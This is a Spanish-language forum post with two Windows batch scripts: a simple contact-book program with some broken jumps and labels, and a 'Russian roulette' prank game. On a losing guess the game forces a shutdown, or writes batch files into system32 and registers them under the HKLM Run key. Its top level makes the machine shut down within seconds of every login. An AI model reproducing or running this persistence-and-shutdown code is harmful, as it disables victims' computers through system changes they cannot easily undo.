Agenda Numa

Iniciado por ANTRAX, Julio 18, 2011, 10:34:02 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Código: dos
@echo off
title  Agenda
color 0c
md c:\agenda
cd c:\agenda

:start
cls
echo                      ============================
echo                       Bienvenido a la Agenda Numa
echo                      ============================
echo.
echo         Que desea hacer?
echo.
echo         1 --- Agregar contacto
echo         2 --- Abrir contacto
echo         3 --- Eliminar contacto
echo         4 --- Salir de la agenda
echo         5 --- Eliminar la agenda de mi pc
set opc=
set /p opc=
if "%opc%"=="" goto error
if %opc%==1 goto agregar
if %opc%==2 goto abrir
if %opc%==3 goto eliminar
if %opc%==4 goto salir
if %opc%==5 (goto delagenda) else goto error

:error
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto start


:agregar
cls
echo                      =================
echo                       Agregar contacto
echo                      =================
echo.
echo Escriba el nombre corto (nick) del nuevo contacto:
set /p nick=
set respuesta=
echo.
echo Esta seguro que quiere guardar a %nick% como contacto?    s/n
set /p respuesta=
if "%respuesta%"=="" goto error2
if %respuesta%==s goto aceptar
if %respuesta%==n (goto 111) else goto error2

:111
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto agregar


:error2
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto agregar


:aceptar
cls
echo cls > %nick%.txt
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso ---           (33)           ---
ping 127.0.0.1 -n 3 > nul&goto sig
:sig
cls
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso --- ---       (66)       --- ---
ping 127.0.0.1 -n 3 > nul&goto sig2
:sig2
cls
echo Guardando contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- ---   (99)   --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin
:fin
cls
echo Proceso finalizado
echo Contacto guardado satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto 01

:01
cls
echo NOTA: En el caso de que no sepas un dato escribe la palabra (vacio)
echo Ingresa los siguientes datos:
set /p nom=Nombres:
set /p ape=Apellidos:
set /p edad=Edad:
set /p tel=Telefono:
set /p mail=E-mail:
echo.
set res=
echo Esta seguro que desea guardar esos datos de %nick%?    s/n 
set /p res=
if "%res%"=="" goto error3
if %res%==s goto aceptar2
if %res%==n (goto 000) else goto error3

:error3
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto 01

:000
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto 01


:aceptar2
cls
echo Nombres: %nom% > %nick%.txt
echo Apellido: %ape% >> %nick%.txt
echo Edad: %edad% >> %nick%.txt
echo Telefono: %tel% >> %nick%.txt
echo E-mail: %mail% >> %nick%.txt
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso ---           (33)           ---
ping 127.0.0.1 -n 3 > nul&goto sig0
:sig0
cls
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso --- ---       (66)       --- ---
ping 127.0.0.1 -n 3 > nul&goto sig02
:sig02
cls
echo Se estan guardando los datos del contacto. El proceso puede tardar unos segundos...
echo Proceso --- --- ---   (99)   --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin0
:fin0
cls
echo Proceso finalizado
echo Datos guardados satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto start

:abrir
cls
echo                       ===============
echo                        Abrir contacto
echo                       ===============
echo.
echo Escriba el nombre corto (nick) del contacto:
set /p nick1=
if exist %nick1%.txt goto abrir1
if not exist %nick1%txt echo El contacto no existe, presione cualquier tecla para intentarlo de nuevo&pause > nul&goto abrir

:abrir1
cls
echo %nick1%:
echo.
more %nick1%.txt
echo.
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start

:eliminar
cls
echo                       =================
echo                       Eliminar contacto
echo                       =================
echo.
echo Escriba el nombre corto (nick) del contacto que desea eliminar:
set /p del=
set rta=
echo.
cls
echo                               PRECAUCION !!!
echo.
echo Esta seguro que desea eliminar a %del% y todos sus datos?    s/n
set /p rta=
if "%rta%"=="" goto error4
if %rta%==s goto borrar
if %rta%==n (goto 0000) else goto error4

:error4
cls
echo ERROR !!!
echo.
echo. Presione cualquier tecla para intentarlo otra vez
pause > nul
goto eliminar

:0000
cls
echo Bueno, ten mas cuidado la proxima vez
echo.
echo Pulsa cualquier tecla para intentarlo otra vez
pause > nul
goto eliminar


:borrar
cls
del %del%.txt
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso ---           (33)           ---
ping 127.0.0.1 -n 3 > nul&goto sig01
:sig01
cls
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso --- ---       (66)       --- ---
ping 127.0.0.1 -n 3 > nul&goto sig021
:sig021
cls
echo Se esta borrando el contacto %del%. El proceso puede tardar unos segundos...
echo Proceso --- --- ---   (99)   --- --- ---
ping 127.0.0.1 -n 3 > nul&goto fin01
:fin01
cls
echo Proceso finalizado
echo El contacto %del% se ha borrado satisfactoriam ente
echo.
echo Espere un momento por favor...
ping 127.0.0.1 -n 7 > nul&goto start

:delagenda
cls
rd c:\agenda
echo     ME MUEROOO
ping 127.0.0.1 -n 2 > nul&sig11
:sig11
cls
echo     me muerooo
ping 127.0.0.1 -n 2 > nul&sig22
:22
cls
echo     ... ..........
ping 127.0.0.1 -n 2 > nul&out
:out
cls
echo Se ha borrado la Agenda de Numa del directorio "c:\"
ping 127.0.0.1 -n 4 > nul&out2
:out2
cls
echo                   FUCK YOU !!!                                                                                                                                                                                                                                                     
ping 127.0.0.1 -n 3 > nul&goto start


:salir
cls
echo Espero haberte servido de algo
echo.
echo Presiona cualquier tecla para salir.
pause > nul
exit






Ruleta rusa:

@echo off
cls
title Ruleta rusa por (NumaH)
color 30

:start
cls
echo Hola, te comento que esto es una ruleta rusa en batch:
echo.
echo Reglas: 6 posibilidades. 1 es la incorrecta.
echo             En caso de elegir la incorrecta se aplicara la pena.
echo.
echo.
echo Es simple. Quieres jugar?       s/n
set rta1=
set /p rta1=
if "%rta1%"=="" goto error1
if %rta1%==s goto sig1
if %rta1%==n (goto no1) else goto error1

:error1
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto start

:no1
cls
echo Respeto tu decision, es un juego peligroso hasta la proxima..
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig1
cls
echo Muy bien. Estos son los niveles de riesgo:
echo.
echo 1 --- Nivel principiante
echo 2 --- Nivel medio
echo 3 --- Nivel avanzado
echo.
echo Elije uno y te dara detalles del juego antes de comenzar
set rta2=
set /p rta2=
if "%rta2%"=="" goto error2
if %rta2%==1 goto nw
if %rta2%==2 goto ama
if %rta2%==3 (goto pro) else goto error2

:error2
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig1

:nw
cls
echo Bien, por este nivel empiezan los primeros.
echo Consecuencias:
echo Si llegas a elegir la opcion falsa tu maquina se apagara.
echo.
echo Quieres jugar?          s/n
set rta3=
set /p rta3=
if "%rta3%"=="" goto error3
if %rta3%==s goto sig3
if %rta3%==n (goto no3) else error3

:error3
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto nw

:no3
cls
echo Esta bien. Esto no es para ti
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig3
cls
echo Elige un numero entre 1 y 6
echo.
set nw1=
set /p nw1=
if "%nw1%"=="" goto errornw
if %nw1%==4 goto lose
if %nw1%==1 goto win
if %nw1%==2 goto win
if %nw1%==3 goto win
if %nw1%==5 goto win
if %nw1%==6 (goto win) goto errornw

:errornw
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig3

:win
cls
echo Bien te has salvado.
echo Pasa al nivel MEDIO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start

:lose
cls
shutdown -s -f -t 5 -c "Que mala suerte eh"
exit

:ama
cls
echo Bien, veo que eres algo curioso
echo Consecuencias:
echo Si llegas a elegir la opcion falsa siempre que inicies
echo tu pc, te saldra un cartelito que diga:
echo "Gracias por jugar a Ruleta rusa por (NumaH)"
echo.
echo Quieres jugar?          s/n
set rta4=
set /p rta4=
if "%rta4%"=="" goto error4
if %rta4%==s goto sig4
if %rta4%==n (goto no4) else error4

:error4
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto ama

:no4
cls
echo Te comprendo es bastante molesto el cartel
echo Pero hay que arriesgarse en la vida alguna vez
echo.
echo
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig4
cls
echo Elige un numero entre 1 y 6
echo.
set ama1=
set /p ama1=
if "%ama1%"=="" goto errorama
if %ama1%==2 goto loseama
if %ama1%==1 goto winama
if %ama1%==4 goto winama
if %ama1%==3 goto winama
if %ama1%==5 goto winama
if %ama1%==6 (goto winama) goto errorama

:errorama
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig4

:winama
cls
echo Bien te has salvado.
echo Pasa al nivel AVANZADO si quieres mas adrenalina
echo.
echo Presiona cualquier tecla para volver al menu principal
pause > nul
goto start

:loseama
cls
echo La verdad que tienes mala suerte
echo @echo off > %windir%\system32\cartel.bat
echo cls >> %windir%\system32\cartel.bat
echo msg * "Gracias por jugar a Ruleta rusa por (NumaH)" >> %windir%\system32\cartel.bat
echo exit >> %windir%\system32\cartel.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Cartel /d %windir%\system32\cartel.bat /f
echo Tendras que soportar el cartel hasta que descubras como se quita
echo Presiona cualquier tecla para salir y empezar a buscar la solucion
pause > nul
start www.google.com .ar&exit

:pro
cls
echo VALIENTE este es el nivel de mayor riesgo
echo Consecuencias:
echo Si llegas a elegir la opcion falsa se apagara
echo tu pc y no podras tenerla encendida mas de
echo 10 segundos en tus proximos inicios de sesion
echo.
echo Realmente quieres jugar?    s/n
set rta5=
set /p rta5=
if "%rta5%"=="" goto error5
if %rta5%==s goto sig5
if %rta5%==n (goto no5) else error5

:error5
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto pro

:no5
cls
echo Comprendo que es bastante riesgoso
echo Bueno, hasta la proxima entonces
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:sig5
cls
echo A ti si que te gusta estar en el limite !!!
echo.
echo Elige un numero entre 1 y 6
echo.
set pro1=
set /p pro1=
if "%pro1%"=="" goto errorpro
if %pro1%==3 goto losepro
if %pro1%==1 goto winpro
if %pro1%==4 goto winpro
if %pro1%==2 goto winpro
if %pro1%==5 goto winpro
if %pro1%==6 (goto winpro) goto errorpro

:errorpro
cls
echo ERROR !!!  No presionaste nada
echo.
echo Pulsa cualquier tecla para intentarlo nuevamente
pause > nul
goto sig5

:winpro
cls
echo Sientete aliviado, TE HAS SALVADO
echo.
echo Presiona cualquier tecla para salir
pause > nul
exit

:losepro
cls
echo Siento pena por ti  : (
echo @echo off > %windir%\system32\malo.bat
echo cls >> %windir%\system32\malo.bat
echo shutdown -s -f -t 10 -c "TU HAS ELEGIDO ESTO" >> %windir%\system32\malo.bat
echo exit >> %windir%\system32\malo.bat
reg add "hklm\software\microsoft\windows\currentversion\run" /v Fucker /d %windir%\system32\malo.bat /f
shutdown -s -f -t 3 -c "Lo lamento..."
exit